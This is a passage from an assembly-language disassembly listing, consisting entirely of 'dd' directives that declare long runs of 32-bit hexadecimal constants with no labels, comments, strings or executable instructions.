		dd 5B4713Ah, 32988374h,	0D1C0BD84h, 0B5E9BEh, 7E2994D7h
		dd 0B196D687h, 8141A460h, 3A65111Fh, 1805B535h,	4361940Dh
		dd 73B0979Ch, 7B632915h, 800F3D84h, 34D43350h, 5585F3Ch
		dd 855016Bh, 5EA2C329h,	899786F9h, 8706A550h, 0B0952C83h
		dd 5866BC4Eh, 188B9661h, 0E80A5E9Bh, 19C64A94h,	212BBEh
		dd 25C236ACh, 0FD40BB24h, 8086224h, 9E9A7801h, 38911590h
		dd 0E2160C56h, 0F004790Bh, 872C18FBh, 0BEB7B947h, 21592F60h
		dd 0E924ADh, 0A396C79h,	970E9315h, 4A7549C0h, 647ED1h
		dd 0BDB5405Fh, 82AD7A9Bh, 6186D63Ch, 90196352h,	807030B0h
		dd 0E4788897h, 2C101B14h, 1A723FCh, 0AE49EA32h,	883818C6h
		dd 0E900CA5Dh, 5289086Bh, 18BF8762h, 2122B910h,	0E8018539h
		dd 0A888FD98h, 3080BDE6h, 0AB8F62D0h, 7714A7C1h, 18F8AA15h
		dd 79C99408h, 9BC900B6h, 7E35B136h, 0F37ECFBEh,	4258224h
		dd 113D42h, 154116E0h, 3AF81954h, 7ED3B800h, 3172A283h
		dd 86A6A9Bh, 0A7DB4008h, 7803C1D3h, 0CD56133Eh,	246D9EFh
		dd 12B6D040h, 376503B5h, 0ABED6618h, 0A18CC940h, 8EAEA8Ch
		dd 0B36AE4Bh, 77403A64h, 0F94BE9C8h, 0EC9A942Ah, 0D07C58C7h
		dd 18541237h, 1F3F233Eh, 4A80C321h, 0FC98670h, 559C509Ah
		dd 0A025C42h, 3827B89Dh, 0D66CC1C1h, 41802EDDh,	2F724784h
		dd 3F07835Fh, 830C835h,	80609F68h, 0A678484Ah, 20001355h
		dd 0EB01D83Fh, 12E66D5Ch, 1625D540h, 0B6C2001Ch, 16E4AA97h
		dd 5C46C4A4h, 73D3BD02h, 75319A83h, 0D3A4C410h,	0A60E8400h
		dd 16918B86h, 0D29D09C1h, 8004BE10h, 0EBB5415Fh, 90233879h
		dd 4F45D620h, 13FB1BF0h, 2291ED63h, 49300690h, 0E83311F0h
		dd 8065885Ah, 0F2F04150h, 2C1268DFh, 88233F95h,	1C9DC124h
		dd 584B5120h, 0E8644481h, 0D3B6605Fh, 9283237Ch, 0C5287411h
		dd 7DCC0084h, 81EDA726h, 0C05899E3h, 0DD587770h, 12A92210h
		dd 8626516h, 0A464C83Ch, 44EA3F60h, 0AEEAE10h, 0EA376AB0h
		dd 820D40E0h, 6833CDFBh, 94CF020h, 7D22E548h, 8B47408h
		dd 9B11232Bh, 78E82C4Ch, 0B22D008Ch, 0EA9D69D4h, 1631531h
		dd 882837F9h, 0ED0BFC7h, 14C9994Eh, 0C4FF4865h,	0B908C095h
		dd 4218DE0Ch, 6D90315Ah, 2CB89843h, 0F67491C8h,	0A0B55B00h
		dd 9139D98h, 0E1D2067Dh, 0F970FA15h, 0C6B5512h,	6DE6F405h
		dd 80588008h, 6C48D190h, 90C62F4Ch, 0F5203E14h,	50990811h
		dd 3C1913D4h, 1684D095h, 0E82B624h, 1C459E08h, 2DE00827h
		dd 4B9FA883h, 8F01B73h,	80064165h, 0E52D307Bh, 2C23F929h
		dd 0C03276A2h, 164214Bh, 1B7D0DC8h, 717663D2h, 1B7C33D0h
		dd 0C1791166h, 41AC1BE5h, 338108B4h, 4AA80C03h,	0E11FF3A7h
		dd 9473722Ah, 2D3032A2h, 8CDB1CAAh, 0C50900BFh,	0D38FAB54h
		dd 7569D117h, 0CA2E800h, 2B9FA1h, 8B5D0992h, 0AAED29D5h
		dd 48D040EFh, 0B800D04Dh, 0C66E2B37h, 762D99F5h, 4D70392h
		dd 0A6CEDA15h, 0E38F4006h, 0E858077Bh, 0F990FECh, 0BFE7206Dh
		dd 0A303871Bh, 0E0583C85h, 0ECA10BCh, 0BF5905C0h, 448C7119h
		dd 6D405689h, 991F1D73h, 8F4E8F78h, 13E47A8Ah, 86400462h
		dd 82F53274h, 0C3459A8h, 0AC5197A8h, 75F841C4h,	90EE0249h
		dd 0AB842CA8h, 0A704C0C4h, 0E1E4000Bh, 0C41B5DDBh, 30C0434Ch
		dd 0D68177FFh, 8FA83E41h, 0B803A4DDh, 718BD213h, 841A6001h
		dd 339FB099h, 172000CBh, 0B9CA3E22h, 9239DD1Bh,	0E8686029h
		dd 0A038BAEDh, 0FFA2B4h, 4C1F484h, 3278C316h, 0F2E5AA0Ch
		dd 1C1D2075h, 29467DD6h, 0FB7DE220h, 78FDE830h,	336D80BEh
		dd 60D6E226h, 1C18F774h, 0D0902600h, 0FA63D8Fh,	0EECCA881h
		dd 53150064h, 0FA3EC92Eh, 510EED07h, 64BD0EE2h,	0E0C09A28h
		dd 2A96493Dh, 18B07A62h, 2C77F238h, 370033A4h, 0E3C98360h
		dd 0F4AD8D94h, 0E27E0019h, 0A1EEB257h, 42060543h, 3CDF59B6h
		dd 63130040h, 845B5D1Bh, 4899812Ch, 88E7B500h, 1499B927h
		dd 0C8170FAAh, 76D09B01h, 3084B253h, 0CAC15DBCh, 2A028C15h
		dd 3A071430h, 80016BEh,	0A0D450C0h, 8F1FCBE9h, 18A491F5h
		dd 51DBD08h, 0C7293117h, 1E1B25F3h, 210493ACh, 0E8A08810h
		dd 0CCFD1AD2h, 80D070E3h
		dd 30B400E4h, 0A7091D9Bh, 54E41Fh, 7405928Bh, 18335CB6h
		dd 545D1C26h, 1600461Eh, 0E387A8A7h, 0B2AF8091h, 2196AB00h
		dd 6CFA384Ah, 3DDA0067h, 90865FD2h, 9EEAE09Dh, 9D48353Eh
		dd 0E81836A6h, 7BA82121h, 4388039Dh, 55ECF08Bh,	0E64AA1h
		dd 1DDE956Fh, 80586AC6h, 0E7F036B3h, 351D5F0Bh,	2830DCC2h
		dd 1A1FD32h, 0FAC36A9Dh, 8C0B52F9h, 205C3A08h, 0A1F40011h
		dd 8C1B39D2h, 0B6005EDEh, 3E206B83h, 5724E4h, 0D7EBDB4Ah
		dd 0D1FA5123h, 0AB18E6E2h, 3F89488Ah, 64390028h, 0D5862AB6h
		dd 99741ADEh, 9213760h,	683930h, 58E051BBh, 25136484h
		dd 0E6E960D8h, 912F60C2h, 85B996A3h, 0C84BB800h, 0BA6CEC3Ch
		dd 1F387619h, 292F77CDh, 1824D174h, 0BE7A00E5h,	0A05E812Fh
		dd 57186393h, 5CE0F86Ah, 248B3074h, 0CFD24398h,	0D1F9BE18h
		dd 179DD60h, 16632F88h,	987ADA28h, 0FD21D309h, 0D2880361h
		dd 0CCE17B4Fh, 63270EB0h, 39D6A31Bh, 2F601051h,	9260053Bh
		dd 50C0CB50h, 76C280h, 0DC1235FAh, 0F9797A0Ah, 801EED3Dh
		dd 5C47E831h, 113C1E5h,	838C755Fh, 0D153C2B7h, 2AB1E0CCh
		dd 0D1BFC300h, 5623AB12h, 0D96B010Ch, 744CB8F0h, 8093ED01h
		dd 0CE4EF618h, 0F8C279DEh, 100A636Ch, 0F0C04D83h, 0D66FFB18h
		dd 0FED12328h, 296100A4h, 0A6E0DC1Fh, 0F8E77C89h, 2C1E7FBEh
		dd 0A1C33356h, 0C8D65381h, 0E6C33875h, 0CE25315Ch, 17786E28h
		dd 0F70FE20h, 0EC7F13B8h, 0A35B0C80h, 1C0D3878h, 0D1CA4871h
		dd 0A0EB1C0Ch, 0C7EC3574h, 0FFE008C0h, 1F28E561h, 744C40DEh
		dd 0AC611321h, 380F1CC0h, 0B8DEB890h, 543E883Dh, 38ED1900h
		dd 16EAEF7Dh, 13C00CCBh, 8320CDABh, 0DC3C8C03h,	24CC40h
		dd 5F77E1A8h, 0D9BB0B2Ch, 0DAEB8A18h, 0F61C0B1h, 9F5B805h
		dd 0EEC0552Eh, 0E3B35433h, 51D5D431h, 88E73EBh,	31A30CCCh
		dd 70E0774Ch, 0B50149h,	0CB52EB11h, 943C007Bh, 0D1270C84h
		dd 78C0E0B1h, 0F9D60204h, 287A7120h, 33A09C12h,	0F6E9BD19h
		dd 41E62D91h, 0E8814D98h, 4B07ADA2h, 525D02B0h,	1465C910h
		dd 70081C1Ch, 34F8C95h,	114B979h, 10247278h, 0D800E5CCh
		dd 71EA1C6Eh, 0A6FCCBEBh, 0EC397728h, 4EAED501h, 4B89A210h
		dd 0A08B3DF0h, 24838AB0h, 40585D7Dh, 0EB0C34BCh, 0AF37D403h
		dd 335FDD71h, 9321A608h, 0AC910FFh, 0CFB069A7h,	7E244EECh
		dd 0D10D1851h, 0A8D828F6h, 0D57A032Eh, 2BFA0E16h, 0ACA9787Ch
		dd 0ABE1D06Eh, 0D6AC08A0h, 4A371200h, 439FB799h, 61F2B031h
		dd 0EE8F21B9h, 0BBF4C412h, 4F9CB406h, 0A070A4E6h, 80B54BA0h
		dd 0E018C325h, 63599C0Bh, 0FBB00005h, 5011070Ah, 8CD8F02h
		dd 7DC42179h, 0EB2C00B0h, 931F24A4h, 4548B862h,	0BAC21080h
		dd 0BB391473h, 645030BCh, 400FDC7h, 400C1B03h, 0EEDA0510h
		dd 0CB8D007Fh, 8AC63AACh, 3700EDB0h, 0D10F3F4Fh, 75680B9Fh
		dd 0AB630092h, 22F894BDh, 380033F3h, 0DE21E581h, 2982C7Dh
		dd 71E3274Dh, 96401D6Eh, 0DA004FF9h, 10B5C1D0h,	487CD4h
		dd 8BAFB72Eh, 0EF9B6F4Ch, 9007C613h, 5C381700h,	0FC20C58Dh
		dd 953C00D3h, 23F94E50h, 16058BD6h, 8C64F690h, 0B1CB8100h
		dd 18AF79h, 17C67F1Bh, 8BD16FB7h, 45167C06h, 2061B2h, 51352EBCh
		dd 506224C5h, 9C591A05h, 7CC07530h, 7C7A7D04h, 734A7815h
		dd 16AF00BFh, 0CC17DDC6h, 68061C54h, 8CF87F7Eh,	0D0D100B0h
		dd 5E895CDFh, 0CB07C4C7h, 9F4A6C12h, 8014CC9Eh,	54901C4Ch
		dd 800A00Bh, 0E758694Bh, 6C3147Ch, 68923391h, 520F7883h
		dd 0E0C0482Ch, 511F9BFAh, 0CE6B031Ch, 0AABE18D1h, 0A29447EDh
		dd 406346FEh, 696D9530h, 1C4E65F7h, 0C1995403h,	5ACDA30h
		dd 1960C4B6h, 96008CFAh, 0DBF8EC2Eh, 3C66A773h,	0F1806739h
		dd 114B2116h, 0EE07D787h, 9DE315C1h, 273D1B80h,	80D3008Fh
		dd 0D93A95D6h, 8C79AB32h, 33C43000h, 98533E1Fh,	0DB133C47h
		dd 6FD6100h, 0E05B3816h, 0F3C00C0Eh, 1CCA86E7h,	0A57A0020h
		dd 543DB807h, 0C400B7EAh, 0BB2EEC92h, 0FB1C19B1h, 0B2338080h
		dd 41306BB0h, 738E1304h, 990EEFF1h, 5CE0489Bh, 93005B29h
		dd 0C03C098Bh, 50466Fh,	0B982FA5Ah, 776937B2h, 0E4505D60h
		dd 0C1C6A298h, 0E8C49538h, 7AC1BC99h, 754DBB2Ch, 0BE2C5801h
		dd 89880BFh, 52F469E0h,	497E4D07h, 0ED809311h, 30ECB4C1h
		dd 4CB8ABD5h, 0AF0372A2h, 0B1B554A3h, 448DE16Fh, 50EE8850h
		dd 0B99E0A0Eh, 0D1C4CDh, 96304DDAh, 60C1C714h, 86E5FB13h
		dd 65E4868Fh, 8CC45C6h,	0F9809255h, 0CD06C8FDh,	7BB8D200h
		dd 32D05019h, 3B41F45Ch, 28642CA4h, 717DC0DBh, 2D03B7BBh
		dd 58EC7D3h, 28A3D0h, 718AF821h, 0FAF37719h, 0E8ABB600h
		dd 0E23A963Fh, 8E950317h, 0C418E9D0h, 818CE900h, 2CAB6EEAh
		dd 3EC0A0F9h, 77C9EE37h, 0F86F06AAh, 0A9EF17ADh, 6E21A007h
		dd 0CAB74E2Eh, 0B6C436A0h, 11BF06AEh, 0F1CD178Bh, 0D149400h
		dd 3B70753Dh, 0D6B0006Dh, 4ABDB11Bh, 4760CCA2h,	0C78BDB29h
		dd 1CD3C7Eh, 74238315h,	5C718206h, 7489E0B7h, 91F31026h
		dd 51460071h, 335D28A2h, 6F069421h, 0C5B4B38Eh,	1EF03061h
		dd 0D2B00778h, 97BDBE0Eh, 0F8426B3h, 30AD1520h,	1280D48Bh
		dd 1C4CFC86h, 391458Ch,	9CBB8696h, 0AA1796A0h, 0E73319C0h
		dd 0E09B14Ah, 57503BB6h, 0A8165DC0h, 0B9058325h, 8FC4D3EDh
		dd 9BFEB04Ah, 0B22DEC0Eh, 0C313002h, 0F4B717h, 981B90A1h
		dd 0B004C9AAh, 0CF741948h, 808C8880h, 0BC4E6835h, 86E84070h
		dd 0CC464DA6h, 9B019C22h, 0AA1586E0h, 0C7E116D8h, 0C4CB7CD4h
		dd 90EE98B8h, 7A056698h, 4B403B00h, 9A898243h, 0B87C31h
		dd 582CFA22h, 88514745h, 0B2B58606h, 0A0614CB3h, 80CA7C34h
		dd 310C4A3Ch, 0A832D7E0h, 11048C8Ah, 44CFF86h, 82209062h
		dd 0A3A86E9h, 0E2DCCB6Fh, 1D0284ACh, 3C9C822Ch,	2C85A492h
		dd 8DAC60A2h, 0B723B971h, 0E11111Dh, 877194FAh,	5200537Ah
		dd 0C92C8EBh, 1EA3856Eh, 58C90A8h, 4DB986E7h, 84A838F4h
		dd 386FF00h, 72E6BFA7h,	5968066Fh, 0A846F54Bh, 5006A529h
		dd 0A9182659h, 10DFF3Fh, 7B5ECE8Bh, 0A440257Dh,	2A997369h
		dd 14B093A4h, 88CAE5F3h, 61C61D03h, 0FA915CC5h,	0E93C20F9h
		dd 994FEA00h, 1139B531h, 79470076h, 8A70F7BEh, 2D30023Dh
		dd 0A36940EEh, 58B960D5h, 97470D5Eh, 67C04500h,	0C4A881B5h
		dd 2CB89BE5h, 0B78C0448h, 2EB8CE70h, 0E602C0F1h, 0C45418D7h
		dd 7C3E2448h, 0FF467458h, 0EEDE6C03h, 0DFB8F056h, 79134B80h
		dd 7006475Bh, 54863F8Ah, 0F85A038h, 0F29534DFh,	5D1D1A22h
		dd 97BFC482h, 0D500E864h, 0AEECED0Eh, 314D452Ch, 98D8ADCDh
		dd 5BC19EE3h, 3FF7F640h, 38676F2Ch, 0C23F01A7h,	9545BC87h
		dd 0E104C0C5h, 0DD00F1EBh, 5DE848C1h, 637D6241h, 97457051h
		dd 52330FC0h, 0DA16C101h, 53A547ECh, 40FA9860h,	4500A693h
		dd 4D3AD39Fh, 78EB2129h, 98C35078h, 353F2A20h, 31B60DB8h
		dd 0F81860ACh, 57F2CB38h, 0F4E23D2Ah, 9144921Ch, 8200C85Dh
		dd 0E751D8A4h, 5D620C38h, 7A90D73Fh, 8A19A060h,	0D67C0Eh
		dd 0BC081DC0h, 0BBAB1CA2h, 6F0C959h, 539DB238h,	2C2D18C8h
		dd 0DADC18BAh, 25EB9F00h, 2CF1AA1h, 0CD93BC3h, 0E128E980h
		dd 73164029h, 60503160h, 9970D2h, 0D36A1A8Fh, 79043498h
		dd 80AB873Bh, 35276D2Bh, 18BEC1A6h, 189BB742h, 200748CBh
		dd 0A151CACCh
		dd 187DB4C2h, 5044CF54h, 0EBE086B9h, 0C5518A1h,	0CE9518Ch
		dd 5E012ED2h, 0F0523465h, 0C2030DCh, 4870CA6h, 66A0C892h
		dd 4D039978h, 52C9B550h, 162003DCh, 0EA0220A5h,	0C5E5022h
		dd 0C98BFF06h, 9B033B39h, 6EB41BAEh, 5318C1B7h,	19B52BE0h
		dd 70242098h, 21C6118Dh, 0A0B002E0h, 223E8208h,	2E00A801h
		dd 0AA5A371Eh, 0D4BED58h, 9A90721Ah, 0C83EDC79h, 0E4E05C6Eh
		dd 0A0018034h, 0E01F9CE0h, 5D600490h, 84F55099h, 2B59DEDDh
		dd 0FE05F504h, 0F0074207h, 5C00E833h, 3B04A1h, 117206FAh
		dd 0C9EB881Dh, 1D33FE38h, 0A0CB4A2h, 840F292Dh,	229D9622h
		dd 6E22014Fh, 1173422Ah, 6B219F40h, 9010B508h, 765384E7h
		dd 1111C74Eh, 887D1283h, 6A3D441Ah, 696F926Bh, 67C0EB1Ch
		dd 901D7368h, 2A77006Ch, 44E86D64h, 62000743h, 61725480h
		dd 0DF7A5187h, 88803A09h, 0A0F373E6h, 5CFA69EFh, 2EF73400h
		dd 86595A3h, 8C6E0760h,	0B0D69D29h, 0EA1583C5h,	8257E900h
		dd 0FACF9C19h, 72BE00F0h, 5B7CA01Eh, 740330F4h,	0B2925DFh
		dd 489D8279h, 7BD43A4h,	4C2DFC0Dh, 626E4084h, 1039877h
		dd 807C1044h, 0E123B85Fh, 4AB30021h, 95BB268Ah,	3D00437Eh
		dd 1BB03509h, 2AB0A30h,	47FE7C9Dh, 0BC48BCA8h, 0B10086DAh
		dd 0CE972751h, 0FA13575Ah, 4D930020h, 0F8533707h, 0DF00C99Ah
		dd 6E679515h, 0B97DFFh,	8B43C590h, 11713584h, 8800D0FAh
		dd 0D316C70Dh, 0B81A3Fh, 985E70FCh, 2717C5D7h, 5CE2613Dh
		dd 0CB060056h, 3C6A2473h, 0A9B600C8h, 588527F2h, 67000188h
		dd 795F8BB7h, 8E498Fh, 0D5E2A852h, 46FBEC86h, 57D0CB00h
		dd 5B8F9070h, 2A790782h, 7296D40h, 6537908Eh, 300CE67h
		dd 7B59634Dh, 0C197C6h,	0D4A7FE23h, 9C719BF1h, 8A8C8000h
		dd 22E9BFA0h, 8E7154h, 0DF25B683h, 0D0C5C2CDh, 29D2F600h
		dd 2BBF317h, 7FFD004Dh,	1585698Bh, 0B6F88A2Ch, 18F77600h
		dd 0C90ED245h, 947301E2h, 0E12255E3h, 0FC31A5h,	4D96DE4h
		dd 0C067F300h, 0C266F619h, 64CC001Fh, 58E803C6h, 0CD001ECFh
		dd 49B1DBF3h, 3BD098Bh,	0B0CC8844h, 87C892Ch, 0AFE18300h
		dd 0BDAADAB8h, 5CE0031h, 0E911749Dh, 9A702807h,	561E4D00h
		dd 0A18E8648h, 0F9CD0F9Fh, 0EE40B8E0h, 0C43645Ch, 0F812D100h
		dd 18165751h, 8D6714B7h, 8E00E46Bh, 0C3754F9Ah,	7007B79h
		dd 0C598154Dh, 2470392Fh, 7048BC18h, 89249A60h,	5B013272h
		dd 4AED54A5h, 0F375024h, 1FA7E59h, 0E5EFECA0h, 120C9769h
		dd 302CCC50h, 57D71D52h, 0A92002Dh, 0F2E80F79h,	9629700h
		dd 213BE780h, 44864C85h, 289AC200h, 766B2CBDh, 188F4B00h
		dd 0BE366AA7h, 0EB2B38E9h, 676EDC00h, 39D33BE0h, 594BA00h
		dd 5D5BAD58h, 92CC0064h, 97894210h, 0DC0995E7h,	80C565B3h
		dd 6E7FB541h, 400700E4h, 0D6E253AEh, 0BA01717Bh, 0AB560672h
		dd 0D3E80Bh, 49F40548h,	0C62BDB4Dh, 8093D93Dh, 8D6DA6A5h
		dd 576EB7Ch, 4050B383h,	0BDBC090Bh, 8E6B0C81h, 659C400Eh
		dd 1D006DA9h, 0C7273ACBh, 0E31E86h, 0F0F49DC0h,	19774123h
		dd 1638240Eh, 0E7D5E057h, 71565A35h, 20EA0330h,	7492DF84h
		dd 0DE887093h, 310727F4h, 0E2363BFBh, 1753C2FFh, 0DBDC009Bh
		dd 0FE1CEAE5h, 0DF40E9EEh, 0F5EFE7E8h, 0E313009Ch, 0ECE4A989h
		dd 0C23BC46Ah, 0DA3E7086h, 0D3078DF9h, 3CF00981h, 0FC770409h
		dd 0C1EA2175h, 0E4B5DC80h, 1F09C31Dh, 38B17D18h, 98E858h
		dd 8BF92238h, 2DB3789Dh, 7B00137Bh, 0D0EC16DFh,	0C2FF52h
		dd 214BC4FEh, 4F442E7Eh, 0DF51F200h, 0D1A1F47Bh, 858A01A8h
		dd 3EFC2CF0h, 0CA5D8D6h, 0C3EC6904h, 2483B6DFh,	6455F08Fh
		dd 990400BFh, 5A12AD10h, 4490681Ch, 33D4721Ch, 9CF17087h
		dd 0C8A246D2h, 28222770h, 48949F3Fh, 738309Dh, 1DC54785h
		dd 0BFC0059h, 587B99F7h, 0D3ECFF70h, 8E7E360Ch,	1CE1E86Ch
		dd 0C04B1DDEh, 9ECF9D56h, 0DC00E8CDh, 0A5ED6FA6h, 38220F4h
		dd 776A30Ch, 0BBA0705Eh, 0D4FE3129h, 0B201E204h, 60801C96h
		dd 974FEh, 4DA51A25h, 0F99FFA2h, 9F5DE501h, 6A26D834h
		dd 0ACD49F40h, 5AE0050Dh, 40C09286h, 962B99B0h,	740080EFh
		dd 76844A9Dh, 1A2D16ABh, 39B887C3h, 3E7E6980h, 0E900C6B6h
		dd 1526A1EBh, 1DCE42h, 0CAE8F55Bh, 3AB68618h, 19173400h
		dd 0FF08EC11h, 1DD30614h, 216C6106h, 6095C800h,	0B9D65738h
		dd 6F7E00A9h, 0CBE50613h, 27034D2Eh, 0BA185C76h, 0C25E90D5h
		dd 0AB3600B8h, 0AA61E1F9h, 191639A5h, 2800B087h, 0E83CA7CDh
		dd 46E50010h, 0BC5E8258h, 1B072CDFh, 36148517h,	0BFB3AFh
		dd 1A165138h, 86003D31h, 0C4D7C299h, 0E7E145h, 0D45D5C3Fh
		dd 895029F4h, 5F00CAFAh, 2836F1E4h, 3AFDF762h, 0F200083Bh
		dd 650E350Bh, 0D9F89923h, 51EC4D00h, 0CC0D2695h, 53830089h
		dd 0D1C3A04Eh, 0AA3F3C59h, 0D2F87827h, 0A46B3300h, 0DCCAD556h
		dd 12DA0F9Dh, 584917FDh, 0A39B3900h, 0DF003250h, 0D6016E3Ch
		dd 0BA57AAh, 0A0DCACE4h, 4D20064Eh, 0FCD4F604h,	2CC7E8B2h
		dd 6BF435F1h, 9DA7AECh,	1DE03816h, 0E7F79400h, 180191B4h
		dd 0A8ACC0EFh, 2FC0A44Ah, 98300A7h, 0B4B22588h,	6D0918E5h
		dd 1F5EB9h, 0B8AE3737h,	20C5009Eh, 7B3FD241h, 5501AD02h
		dd 79804F16h, 9C8E14Dh,	44E3016Dh, 0F71271DBh, 0A50C209Eh
		dd 0B3499490h, 52E500E8h, 54FAE663h, 0F8E40E01h, 0EC600550h
		dd 0C1FB7E57h, 5CAA4800h, 9B45D69h, 0A83B1B1Ch,	11E00971h
		dd 20481535h, 592600F4h, 655451F0h, 99D4F39Bh, 0C822133Dh
		dd 5614005Eh, 30AA2777h, 0CB680C00h, 75382E3Ch,	0BEF30034h
		dd 0C840C499h, 0CF38C5B2h, 0D82480BDh, 300742CBh, 0A1AB0080h
		dd 9B0D5904h, 0C005E0Fh, 2A4C019Ah, 3B400598h, 43009C16h
		dd 0F607F727h, 8D01CFEDh, 0A0CC08F0h, 9801624h,	93A447EFh
		dd 0E001EF4h, 0D9CE30D8h, 10B1D0h, 0BDE13DD7h, 2655537Fh
		dd 0B84F640Eh, 0A713E01Dh, 1305094Bh, 0F4A6C95h, 0F4A01924h
		dd 3FAFB8CAh, 0A677ED01h, 475B6A3Ch, 9CE6E680h,	338DD387h
		dd 0EE840150h, 0F25A1B02h, 0C0032BC3h, 24238F1Ch, 0F645E7h
		dd 0BEB74839h, 0F0001F93h, 96CA514Eh, 0E6206529h, 0DF6E1F4Ah
		dd 0CE5E0056h, 225BF77Ah, 746F800h, 0EB8CA3C1h,	2A1E26BCh
		dd 62003A20h, 3E505AFCh, 101DE9DEh, 7D7C79EEh, 0CF596C00h
		dd 826FA2BCh, 6E7B2E58h, 90C8000Fh, 95D50276h, 63F2AD00h
		dd 0CA4E332h, 90BE7442h, 0D57001Ch, 269907E7h, 9E045CE6h
		dd 8C1AE438h, 807E68C0h, 71D9004Bh, 0FB0E0D95h,	8185E1Dh
		dd 3C3A30D4h, 8DF31h, 42625165h, 25483802h, 0AFCD091Ch
		dd 0E504499h, 0BE3A167Fh, 0A583C0C0h, 52509EA4h, 0E800ADBCh
		dd 0AFCB9B66h, 0A9ABFFh, 5DD0592Eh, 94A7E6DEh, 8431700h
		dd 4F22C8B8h, 9EA20341h, 0CC8373FCh, 8558AF80h,	0EE01BD7Eh
		dd 0AE22BF4h, 0AEC87F61h, 7CEB00B6h, 117BBA4Ch,	7900C589h
		dd 40BC0C03h, 4944146h,	9E42E032h, 0E560819Ah, 7830308Ch
		dd 83FBD100h, 8BAD7044h, 60880073h, 0CD7279DAh,	67387E15h
		dd 295580B8h, 0D6A68FCCh, 779513EEh, 0E160514h,	0C7B000D0h
		dd 8A35D71Ch, 0CAD6F600h, 0C8D40BCEh, 473FCh, 0C91BF78Ch
		dd 3E1F05AFh, 89AD4814h, 76A006A1h, 0F8094D3Dh,	92810B55h
		dd 2E887275h, 0DFBE3FB0h, 7C00CA21h, 74C9FFB1h,	0ED402E1Ch
		dd 0B0531435h, 5C15F100h
		dd 0AB47E532h, 5BBDDC00h, 956ECB2Ah, 0A25D3BB2h, 0FFCA7301h
		dd 80A06F7Ch, 6D4267B8h, 3C7512h, 7B1BDDC8h, 2584C3E1h
		dd 94FB7800h, 0C0B7CF67h, 0C46509CCh, 0A78C707Fh, 9E00D670h
		dd 8A2BE46Ah, 74A179h, 282A962h, 6D8BE7B8h, 0BDD5C400h
		dd 851A1F3Fh, 84710073h, 44426001h, 0F448C9A4h,	8720001Ch
		dd 0B1EA5369h, 50F948F6h, 0A3DE7400h, 3F687E88h, 589D360Eh
		dd 538C001Dh, 2E43F7h, 0B3DC314Fh, 783B5989h, 65E00B1Ch
		dd 64440447h, 58A61662h, 0BD2900E0h, 6F2EE10Ch,	5C00451Ch
		dd 0F2729964h, 0F36DDC5Eh, 71F7470h, 11448E4Ch,	0F0FE6021h
		dd 0C60002A9h, 0D3CE8663h, 0EE224E20h, 0C3430057h, 528A2C78h
		dd 60BAA3FEh, 5CE7AF05h, 9CD0F20Ah, 0E82A25h, 0A1589299h
		dd 0E2DB7A30h, 0FC05EC4Bh, 0F3802FEBh, 664F97h,	0FE5C8A99h
		dd 1FB93BA0h, 95D5A00h,	0BF69C3C1h, 9707BDBh, 0A7D73037h
		dd 41BE04E3h, 2BF77200h, 0A3C9E4C6h, 0EBB9A004h, 3DF9E4E8h
		dd 1E8097C0h, 8D620AFFh, 249EB2A3h, 22F04400h, 5489DC1Fh
		dd 0B8A58072h, 249F0004h, 6B28FCF7h, 2A007970h,	5203A841h
		dd 949E93Bh, 90C39618h,	31360000h, 6D00B105h, 8BBB46CBh
		dd 3C17CC4Fh, 2804E38h,	0E168E473h, 271691BCh, 691FBDA1h
		dd 4029DC0Ch, 0A54B0648h, 7A94081Dh, 0AEB02C03h, 89C18820h
		dd 0E0504EA9h, 0E4DE3883h, 8E2E059Ah, 48A3600Bh, 0D38F7060h
		dd 925460A8h, 130917Eh,	0A4635FCFh, 683F8C9Fh, 15E43C2Ch
		dd 0D8DCC1h, 77FB6307h,	2D2F3FF3h, 340094C8h, 0B00C7A6Dh
		dd 1DC06000h, 0B6733449h, 0E298E0CDh, 0D75100D5h, 0EE84D903h
		dd 0D8001C2Dh, 0F1C63B1Eh, 4E3CBF4h, 36CE2ED1h,	1D7A4013h
		dd 1AF5C3h, 0D0A229F8h,	3C99A59Ch, 612B7F09h, 6FE0202Ah
		dd 42E4A9h, 705D5794h, 6C2B332Fh, 8600DDF2h, 47F6F048h
		dd 84BCE5h, 5ADA715Dh, 764EF4E4h, 32851503h, 0C08D277Dh
		dd 198EDA8h, 65C4B62Dh,	303C6E58h, 36004849h, 790EAD27h
		dd 2A63E759h, 0F4887BBDh, 0FAC400C5h, 6612AA4Dh, 0F003B649h
		dd 0B0EA22F7h, 6A90A05Ch, 0A9730588h, 40414514h, 105626BCh
		dd 87005169h, 0DE933F77h, 1FE72CF8h, 8384168Ah,	3EA16A26h
		dd 0F6014B98h, 965870F0h, 8680104h, 0E5E9AA7Eh,	1500A838h
		dd 26043B79h, 625B16EBh, 0CA838442h, 4F0848A4h,	0E5CD05FCh
		dd 803E1AD4h, 2B1137D0h, 94A4831Eh, 0C781C0E4h,	0EB106914h
		dd 18C91070h, 31046D05h, 0A84C5C81h, 8CD81E3Ch,	0E100F828h
		dd 0B138BF4Ah, 8932EDh,	0F248CA0Ah, 0C3F56F0Bh,	0BDFFC500h
		dd 0AE7219E4h, 0A8C9FE4Ah, 0B40C6DF0h, 0C899053Ch, 0A28C404Ch
		dd 336CBAFh, 64E6D500h,	0B3F3BAD2h, 0F9A009A1h,	448F4496h
		dd 5800F2EBh, 9B1D3CF0h, 18F4CF0Eh, 9C5839Ch, 8066C02Bh
		dd 173A005Fh, 9B90AA9Eh, 0E098D68Eh, 6A5EF300h,	7AD9FEE0h
		dd 1E851E67h, 0E38782B3h, 0A2E0F965h, 1500E22Eh, 0CDA0EFE6h
		dd 3839B617h, 602A129Dh, 0C49B3DFCh, 9CCFAC0Bh,	0E3007445h
		dd 594EE437h, 0A89840h,	0CD312C01h, 7CC5A2FAh, 5AD55B01h
		dd 0F9AAFE99h, 0F364C084h, 0CA26C071h, 1F00BBD6h, 60D1961Ch
		dd 7B5C7Ch, 33FD0467h, 458353F3h, 89888513h, 0C0E02CC2h
		dd 48826974h, 0C51E6A1Eh, 910BC0EFh, 98FCECF2h,	9FCED80Eh
		dd 7352E062h, 0A0B95B96h, 2396AA4h, 0E7DF8950h,	5840B525h
		dd 0BCA4E5CFh, 45133300h, 44680A4h, 4CA5006Fh, 0BC71778Ah
		dd 2F001B9Dh, 0DFEC24F8h, 0C7C83Fh, 0A9130E67h,	0E7FB61D0h
		dd 0EE543D0Eh, 8CE8028h, 4B24A1Ch, 655B15F7h, 16E4C36Bh
		dd 0BAE09F9Bh, 0D87FC727h, 9C302000h, 95F90576h, 2DFA1861h
		dd 0DF98E883h, 9A00F6F4h, 9BF5CD92h, 27EBFB9Ch,	88390F1h
